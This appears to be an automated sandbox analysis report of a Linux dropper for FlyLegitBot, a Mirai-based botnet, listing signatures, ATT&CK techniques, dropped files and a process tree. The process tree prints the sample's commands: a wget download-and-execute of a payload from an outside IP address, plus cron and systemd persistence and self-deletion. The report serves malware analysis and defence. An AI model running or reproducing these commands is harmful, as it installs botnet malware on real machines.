Overview

overview

10

Static

static

1

96707f44df...cea77a

ubuntu-18.04-amd64

10

96707f44df...cea77a

debian-9-armhf

10

96707f44df...cea77a

debian-9-mips

10

96707f44df...cea77a

debian-9-mipsel

10

Analysis

  • max time kernel
    144s
  • max time network
    146s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    30/09/2026, 16:01

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General

  • Target
    96707f44df308cd81ae0af1cf7381e486c24982cc43af32acb3c02c16bcea77a
  • Size 250B
  • Sample260930-tf61zsca67
  • SHA256 96707f44df308cd81ae0af1cf7381e486c24982cc43af32acb3c02c16bcea77a
  • MD5 SHA1 SHA512 TLSH
Score
10/10
botnetdefense_evasiondiscoveryexecutionflylegitbotpersistenceprivilege_escalationupx

Malware Config

Signatures

  • Family: FlyLegitBot

    FlyLegitBot is a Mirai-based botnet.

    botnetflylegitbot
  • Detects FlyLegitBot 1 IoCs
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Write file to user bin folder 1 IoCs
    persistence
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/96707f44df308cd81ae0af1cf7381e486c24982cc43af32acb3c02c16bcea77a
    /tmp/96707f44df308cd81ae0af1cf7381e486c24982cc43af32acb3c02c16bcea77a
    1⤵
    • Executes dropped EXE
    PID:1505
    • /bin/uname
      uname -m
      2⤵
        PID:1506
      • /usr/bin/wget
        wget -q -O iran.x86_64 http://176.65.139.166:8080/iran.x86_64
        2⤵
        • Writes file to tmp directory
        PID:1507
      • /bin/chmod
        chmod +x iran.x86_64
        2⤵
        • File and Directory Permissions Modification
        PID:1515
      • /tmp/iran.x86_64
        ./iran.x86_64 telnet
        2⤵
        • Deletes itself
        • Modifies init.d
        • Modifies systemd
        • Write file to user bin folder
        • Changes its process name
        • Reads runtime system information
        PID:1516
        • /bin/sh
          sh -c "systemctl enable BcEvVhTrWpj.service >/dev/null 2>&1 || true"
          3⤵
            PID:1520
            • /bin/systemctl
              systemctl enable BcEvVhTrWpj.service
              4⤵
              • Reads runtime system information
              PID:1521
          • /bin/sh
            sh -c "crontab -l 2>/dev/null"
            3⤵
              PID:1542
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1543
              • /bin/sh
                sh -c "(crontab -l 2>/dev/null; echo '@reboot /usr/local/bin/BcEvVhTrWpj4QMX &') | crontab -"
                3⤵
                  PID:1544
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1546
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:1547
                • /bin/rm
                  rm -f iran.x86_64 cat.sh
                  2⤵
                    PID:1518

                Network

                      MITRE ATT&CK Enterprise v16

                      Reconnaissance

                      Resource Development

                      Initial Access

                      Execution

                      Scheduled Task/Job

                      1
                      T1053

                      Cron

                      1
                      T1053.003

                      Persistence

                      Boot or Logon Autostart Execution

                      2
                      T1547

                      XDG Autostart Entries

                      1
                      T1547.013

                      Boot or Logon Initialization Scripts

                      1
                      T1037

                      RC Scripts

                      1
                      T1037.004

                      Create or Modify System Process

                      1
                      T1543

                      Systemd Service

                      1
                      T1543.002

                      Scheduled Task/Job

                      1
                      T1053

                      Cron

                      1
                      T1053.003

                      Privilege Escalation

                      Boot or Logon Autostart Execution

                      2
                      T1547

                      XDG Autostart Entries

                      1
                      T1547.013

                      Boot or Logon Initialization Scripts

                      1
                      T1037

                      RC Scripts

                      1
                      T1037.004

                      Create or Modify System Process

                      1
                      T1543

                      Systemd Service

                      1
                      T1543.002

                      Scheduled Task/Job

                      1
                      T1053

                      Cron

                      1
                      T1053.003

                      Defense Evasion

                      File and Directory Permissions Modification

                      1
                      T1222

                      Linux and Mac File and Directory Permissions Modification

                      1
                      T1222.002

                      Credential Access

                      Discovery

                      Lateral Movement

                      Collection

                      Command and Control

                      Exfiltration

                      Impact

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      BcEvVhTrWpj
                      • Path /etc/init.d/BcEvVhTrWpj
                      • Size 181B
                      • SHA256 2dbbc64989c5b59536d804119158fc0046705650dcad3cfda1e216a177d393e5
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      BcEvVhTrWpj.service
                      • Path /etc/systemd/system/BcEvVhTrWpj.service
                      • Size 186B
                      • SHA256 0a355f701047747e21abb6eee021acbb8fb7e0f6de9818ab6dfa5214bcf0a479
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      iran.x86_64
                      • Path /tmp/iran.x86_64
                      • Size 53KB
                      • SHA256 ec542e5844af47c855a13f8a69e8fdb21dfaa187aeba3447246fac967253353c
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      tmp.k7Euby
                      • Path /var/spool/cron/crontabs/tmp.k7Euby
                      • Size 216B
                      • SHA256 837bd95ea0c23251c68617367823f061d09377d4752550edff79764fcd52d061
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download